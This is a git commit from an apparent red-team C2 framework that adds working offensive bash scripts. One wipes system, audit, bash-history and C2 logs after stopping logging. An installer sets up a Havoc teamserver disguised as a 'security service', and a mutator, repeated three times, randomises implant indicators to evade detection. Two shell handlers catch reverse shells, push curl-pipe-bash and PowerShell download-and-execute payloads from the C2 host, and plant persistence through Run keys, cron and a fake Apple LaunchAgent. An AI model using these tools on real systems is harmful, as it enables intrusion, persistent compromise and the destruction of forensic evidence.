restructuring for easier navigation and modularity

This commit is contained in:
n0mad1k
2025-07-04 23:12:39 -04:00
parent 8743a4cfdf
commit 32aad50820
110 changed files with 2474 additions and 1 deletions
+98
View File
@@ -0,0 +1,98 @@
#!/bin/bash
# Zero-logs maintenance script
# Set aggressive umask to minimize permission footprint
umask 077
# Configuration
LOG_DIRS=(
"/var/log"
"/var/spool/mail"
"/var/spool/postfix"
"/var/lib/dhcp"
"/root/.bash_history"
"/home/*/.bash_history"
"/var/lib/nginx"
)
SYSTEM_LOGS=(
"auth.log"
"syslog"
"messages"
"kern.log"
"daemon.log"
"user.log"
"btmp"
"wtmp"
"lastlog"
)
# Disable syslog temporarily
systemctl stop rsyslog 2>/dev/null
systemctl stop syslog-ng 2>/dev/null
systemctl stop systemd-journald 2>/dev/null
# Clear all standard logs
echo "[+] Clearing standard system logs..."
for log in "${SYSTEM_LOGS[@]}"; do
find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null
find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null
done
# Clear all journal logs
echo "[+] Clearing systemd journal..."
journalctl --vacuum-time=1s 2>/dev/null
rm -rf /var/log/journal/* 2>/dev/null
# Clear audit logs
echo "[+] Clearing audit logs..."
auditctl -e 0 2>/dev/null
cat /dev/null > /var/log/audit/audit.log 2>/dev/null
# Clear bash history for all users
echo "[+] Clearing bash history..."
for histfile in /root/.bash_history /home/*/.bash_history; do
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
done
history -c
cat /dev/null > ~/.bash_history 2>/dev/null
unset HISTFILE
# Clear NGINX logs
echo "[+] Clearing NGINX logs..."
for nginx_log in /var/log/nginx/*; do
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
done
# Clear SSH logs
echo "[+] Clearing SSH logs..."
cat /dev/null > /var/log/auth.log 2>/dev/null
cat /dev/null > /var/log/secure 2>/dev/null
# Clear mail logs
echo "[+] Clearing mail logs..."
cat /dev/null > /var/log/mail.log 2>/dev/null
cat /dev/null > /var/log/maillog 2>/dev/null
# Clear sliver logs
echo "[+] Clearing Sliver C2 logs..."
find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
# Clear temporary directories
echo "[+] Clearing temporary files..."
rm -rf /tmp/* /var/tmp/* 2>/dev/null
# Clear RAM and swap
echo "[+] Clearing RAM cache and swap..."
sync
echo 3 > /proc/sys/vm/drop_caches
swapoff -a && swapon -a 2>/dev/null
# Restart logging services
systemctl start systemd-journald 2>/dev/null
systemctl start rsyslog 2>/dev/null
systemctl start syslog-ng 2>/dev/null
echo "[+] Log cleaning complete"
exit 0
+234
View File
@@ -0,0 +1,234 @@
#!/bin/bash
# Enhanced Havoc C2 Framework installer optimized for Red Team Operations
# This script installs and configures Havoc with EDR evasion features
# The mutation features are applied BEFORE building to ensure proper compilation
set -e
TEMP_DIR=$(mktemp -d)
LOG_FILE="/root/Tools/havoc_installer.log"
HAVOC_DIR="/root/Tools/Havoc"
HAVOC_DATA_DIR="/root/Tools/Havoc/data"
COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz"
COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross"
COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc"
IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh"
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc.git"
# Function to log messages
log() {
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
}
# Function to generate random strings
random_string() {
local length=${1:-16}
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
}
# Generate random build ID for implant signature
RANDOMIZED_BUILD_ID=$(random_string 16)
# Install required dependencies
log "Installing dependencies..."
apt-get update >/dev/null 2>&1
apt-get install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm >/dev/null 2>&1
# Fix for JSON dependency
log "Installing nlohmann-json manually..."
mkdir -p /tmp/json
cd /tmp/json
wget -q https://github.com/nlohmann/json/releases/download/v3.11.2/json.hpp
mkdir -p /usr/include/nlohmann
cp json.hpp /usr/include/nlohmann/
cd - > /dev/null
# Setup Go environment
log "Setting up Go environment..."
mkdir -p /root/go
export GOPATH=/root/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
# Download and install compiler fix
log "Downloading and installing fixed compiler..."
if [ ! -d "$COMPILER_DIR" ]; then
# Download the compiler
wget -q -O /tmp/compiler.tgz $COMPILER_URL
# Extract to /usr/bin
tar -xzf /tmp/compiler.tgz -C /usr/bin
# Verify compiler exists
if [ -f "$COMPILER_PATH" ]; then
log "Compiler installed successfully at $COMPILER_PATH"
chmod +x $COMPILER_PATH
else
log "Error: Compiler installation failed. File not found at $COMPILER_PATH"
fi
# Clean up
rm -f /tmp/compiler.tgz
else
log "Compiler already installed at $COMPILER_DIR"
fi
# Clone Havoc repository
log "Cloning Havoc repository..."
if [ -d "$HAVOC_DIR" ]; then
log "Havoc directory already exists, updating..."
cd $HAVOC_DIR
git pull
else
# Clone with proper GitHub URL
git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR
cd $HAVOC_DIR
fi
# Create data directories
mkdir -p $HAVOC_DATA_DIR
mkdir -p $HAVOC_DIR/payloads
mkdir -p $HAVOC_DIR/payloads/backup
# Initialize submodules
log "Initializing submodules..."
cd $HAVOC_DIR
git submodule init
git submodule update --recursive
# Create improved implant mutator script BEFORE building
log "Creating implant mutator script..."
cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF'
#!/bin/bash
# === CONFIG ===
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
SRC_DIR="$IMPLANT_DIR/src"
BUILD_ROOT="$HOME/Tools/havoc"
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
# === COLORS ===
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
EOF
chmod +x "$IMPLANT_MUTATOR_SCRIPT"
# Perform mutations BEFORE building - this is critical
# log "Running implant mutations script before building..."
# if [ -d "$HAVOC_DIR/payloads/Demon" ]; then
# $IMPLANT_MUTATOR_SCRIPT
# if [ $? -ne 0 ]; then
# log "Warning: Implant mutation script ran with errors, but continuing build..."
# fi
# else
# log "Skipping implant mutations as Demon directory not found yet. Will be applied after build."
# fi
# Install additional Go dependencies for the teamserver
log "Installing Go dependencies for teamserver..."
cd $HAVOC_DIR/teamserver
go mod download golang.org/x/sys
cd $HAVOC_DIR
# Build Havoc using make - build teamserver first
log "Building Havoc teamserver..."
cd $HAVOC_DIR
make ts-build
# Build Havoc client
#log "Building Havoc client..."
#make client-build
# Create systemd service for Havoc
log "Creating systemd service for Havoc teamserver..."
cat > /etc/systemd/system/havoc.service << EOF
[Unit]
Description=Advanced Security Service
After=network.target
[Service]
Type=simple
User=root
Group=root
WorkingDirectory=$HAVOC_DIR/teamserver
ExecStart=$HAVOC_DIR/havoc server -d
Restart=always
RestartSec=10
# Security measures
PrivateTmp=true
ProtectHome=false
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
EOF
# Set proper permissions
log "Setting proper permissions..."
chmod -R 755 $HAVOC_DIR
# Create symlinks to executables in /usr/local/bin
ln -sf $HAVOC_DIR/havoc /usr/local/bin/havoc
ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate
# Enable and start Havoc service
log "Enabling and starting Havoc service..."
systemctl daemon-reload
systemctl enable havoc
systemctl start havoc
log "Havoc C2 installation completed successfully!"
+76
View File
@@ -0,0 +1,76 @@
#!/bin/bash
# === CONFIG ===
IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon"
SRC_DIR="$IMPLANT_DIR/src"
BUILD_ROOT="$HOME/Tools/Havoc"
OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin"
BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
# === COLORS ===
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
+218
View File
@@ -0,0 +1,218 @@
#!/bin/bash
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
# Configuration
LISTEN_PORT=4488
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
HAVOC_PORT=40056 # Havoc default Teamserver port
HAVOC_USER="admin"
HAVOC_DIR="/root/Tools/Havoc"
WINDOWS_PAYLOAD="windows/agent_win.exe"
LINUX_PAYLOAD="linux/agent_linux"
# Set secure permissions
umask 077
# Logging function (minimal and encrypted)
log() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local message="$1"
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
}
# Detect OS function
detect_os() {
local connection=$1
# Send commands to determine OS
echo "echo \$OSTYPE" > $connection
sleep 1
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
if [[ $ostype == *"win"* ]]; then
echo "windows"
elif [[ $ostype == *"darwin"* ]]; then
echo "macos"
elif [[ $ostype == *"linux"* ]]; then
echo "linux"
else
# Try Windows-specific command
echo "ver" > $connection
sleep 1
winver=$(cat $connection | grep -i "microsoft windows")
if [[ -n "$winver" ]]; then
echo "windows"
else
# Default to Linux if we can't determine
echo "linux"
fi
fi
}
# Get Havoc password
get_havoc_password() {
# Extract password from Havoc profile
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
echo $HAVOC_PASS
}
# Deploy appropriate Havoc agent based on OS
deploy_agent() {
local connection=$1
local os_type=$2
log "Deploying Havoc agent for detected OS: $os_type"
# Get the latest payload paths from manifest
local manifest="/root/Tools/Havoc/payloads/manifest.json"
if [ -f "$manifest" ]; then
if [ "$os_type" == "windows" ]; then
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/$WIN_EXE"
elif [ "$os_type" == "linux" ]; then
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/$LINUX_BIN"
fi
else
# Use default paths if manifest doesn't exist
if [ "$os_type" == "windows" ]; then
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/agent_win.exe"
elif [ "$os_type" == "linux" ]; then
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/agent_linux"
fi
fi
case $os_type in
windows)
# Setup Python HTTP server for payload delivery
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use PowerShell to download and execute
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
linux)
# Setup Python HTTP server for payload delivery
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
chmod +x /tmp/havoc_payloads/update
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use curl to download and execute
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
macos)
# For macOS, we'll attempt to use the Linux payload
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
chmod +x /tmp/havoc_payloads/update
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use curl to download and execute
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
esac
log "Havoc agent deployment command sent"
}
# Establish persistence based on OS
establish_persistence() {
local connection=$1
local os_type=$2
log "Attempting to establish persistence on $os_type"
case $os_type in
windows)
# Windows persistence via registry run key
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
;;
linux)
# Linux persistence via crontab
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
;;
macos)
# macOS persistence via launch agent
echo "mkdir -p ~/Library/LaunchAgents" > $connection
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
;;
esac
log "Persistence commands sent for $os_type"
}
# Main shell handler loop
handle_connections() {
log "Shell handler started on port $LISTEN_PORT"
# Use mkfifo for bidirectional communication
PIPE_PATH="/tmp/shell_handler_pipe"
trap 'rm -f $PIPE_PATH' EXIT
while true; do
# Clean up existing pipe
rm -f $PIPE_PATH
mkfifo $PIPE_PATH
log "Waiting for incoming connection..."
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
NC_PID=$!
# Wait for connection to be established
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
sleep 1
# Check if nc is still running
if ! kill -0 $NC_PID 2>/dev/null; then
log "Netcat process died, restarting..."
rm -f $PIPE_PATH $PIPE_PATH.output
continue 2 # Restart the outer loop
fi
done
log "Connection received, detecting OS..."
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
log "Detected OS: $DETECTED_OS"
# Deploy Havoc agent
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Establish persistence
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Keep connection alive for manual operation if needed
log "Havoc agent deployed, maintaining shell connection..."
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
# Wait for connection to close
wait $NC_PID
log "Connection closed, cleaning up and restarting listener..."
rm -f $PIPE_PATH.output
done
}
# Start the shell handler
handle_connections
+65
View File
@@ -0,0 +1,65 @@
#!/bin/bash
# === CONFIG ===
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
SRC_DIR="$IMPLANT_DIR/src"
BUILD_ROOT="$HOME/Tools/havoc"
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
# === COLORS ===
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
+156
View File
@@ -0,0 +1,156 @@
#!/bin/bash
# Automated shell handler for catching and upgrading reverse shells
# Configuration
LISTEN_PORT=8844
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
C2_PORT=50051 # Sliver default gRPC port
WINDOWS_BEACON="/root/Tools/beacons/windows.exe"
LINUX_BEACON="/root/Tools/beacons/linux"
MACOS_BEACON="/root/Tools/beacons/macos"
# Set secure permissions
umask 077
# Logging function (minimal and encrypted)
log() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local message="$1"
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
}
# Detect OS function
detect_os() {
local connection=$1
# Send commands to determine OS
echo "echo \$OSTYPE" > $connection
sleep 1
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
if [[ $ostype == *"win"* ]]; then
echo "windows"
elif [[ $ostype == *"darwin"* ]]; then
echo "macos"
elif [[ $ostype == *"linux"* ]]; then
echo "linux"
else
# Try Windows-specific command
echo "ver" > $connection
sleep 1
winver=$(cat $connection | grep -i "microsoft windows")
if [[ -n "$winver" ]]; then
echo "windows"
else
# Default to Linux if we can't determine
echo "linux"
fi
fi
}
# Deploy appropriate beacon based on OS
deploy_beacon() {
local connection=$1
local os_type=$2
log "Deploying beacon for detected OS: $os_type"
case $os_type in
windows)
# Upload Windows beacon using PowerShell download cradle
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection
;;
linux)
# Upload Linux beacon using curl
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
;;
macos)
# Upload macOS beacon using curl
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
;;
esac
log "Beacon deployment command sent"
}
# Establish persistence based on OS
establish_persistence() {
local connection=$1
local os_type=$2
log "Attempting to establish persistence on $os_type"
case $os_type in
windows)
# Windows persistence via registry run key
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
;;
linux)
# Linux persistence via crontab
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection
;;
macos)
# macOS persistence via launch agent
echo "mkdir -p ~/Library/LaunchAgents" > $connection
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/check.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
;;
esac
log "Persistence commands sent for $os_type"
}
# Main shell handler loop
handle_connections() {
log "Shell handler started on port $LISTEN_PORT"
# Use mkfifo for bidirectional communication
PIPE_PATH="/tmp/shell_handler_pipe"
trap 'rm -f $PIPE_PATH' EXIT
while true; do
# Clean up existing pipe
rm -f $PIPE_PATH
mkfifo $PIPE_PATH
log "Waiting for incoming connection..."
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
NC_PID=$!
# Wait for connection to be established
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
sleep 1
# Check if nc is still running
if ! kill -0 $NC_PID 2>/dev/null; then
log "Netcat process died, restarting..."
rm -f $PIPE_PATH $PIPE_PATH.output
continue 2 # Restart the outer loop
fi
done
log "Connection received, detecting OS..."
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
log "Detected OS: $DETECTED_OS"
# Deploy beacon
deploy_beacon "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Establish persistence
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Keep connection alive for manual operation if needed
log "Beacon deployed, maintaining shell connection..."
echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH
# Wait for connection to close
wait $NC_PID
log "Connection closed, cleaning up and restarting listener..."
rm -f $PIPE_PATH.output
done
}
# Start the shell handler
handle_connections
+302
View File
@@ -0,0 +1,302 @@
#!/bin/bash
# post_install_c2.sh - Post-installation setup for C2 server
# ANSI color codes
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Default settings
DEBUG=false
RUN_ON_REDIRECTOR=false
# Show usage information
function show_usage() {
echo "Usage: $0 [options]"
echo ""
echo "Options:"
echo " -d, --debug Enable debug/verbose output"
echo " -r, --run-on-redirector Run post-install script on redirector"
echo " -h, --help Show this help message"
echo ""
}
# Process command line arguments
while [[ $# -gt 0 ]]; do
case $1 in
-d|--debug)
DEBUG=true
shift
;;
-r|--run-on-redirector)
RUN_ON_REDIRECTOR=true
shift
;;
-h|--help)
show_usage
exit 0
;;
*)
echo "Unknown option: $1"
show_usage
exit 1
;;
esac
done
# Debug function - only prints if DEBUG is true
function debug() {
if [ "$DEBUG" = true ]; then
echo -e "${BLUE}[DEBUG] $1${NC}"
fi
}
echo -e "${BLUE}==================================================${NC}"
echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}"
echo -e "${BLUE}==================================================${NC}"
# Function to check if domain resolves to current IP
check_dns() {
domain=$1
current_ip=$(curl -s ifconfig.me)
resolved_ip=$(dig +short $domain)
debug "Checking DNS for $domain"
debug "Current IP: $current_ip"
debug "Resolved IP: $resolved_ip"
if [ "$resolved_ip" = "$current_ip" ]; then
echo -e "${GREEN}DNS check passed for $domain!${NC}"
return 0
else
echo -e "${YELLOW}DNS check failed for $domain${NC}"
echo -e "Current IP: $current_ip"
echo -e "Resolved IP: $resolved_ip or not set"
return 1
fi
}
# Function to set up Let's Encrypt
setup_letsencrypt() {
domain=$1
email=$2
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
debug "Domain: $domain, Email: $email"
# Stop Havoc service temporarily to free port 80
systemctl stop havoc 2>/dev/null
debug "Stopped Havoc service"
# Get certificate
debug "Running certbot to obtain certificate"
if [ "$DEBUG" = true ]; then
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
else
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1
fi
cert_result=$?
debug "Certbot result code: $cert_result"
if [ $cert_result -eq 0 ]; then
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
# Configure applications to use the certificate if needed
if [ -f "/etc/postfix/main.cf" ]; then
debug "Updating Postfix configuration with new certificate"
sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf
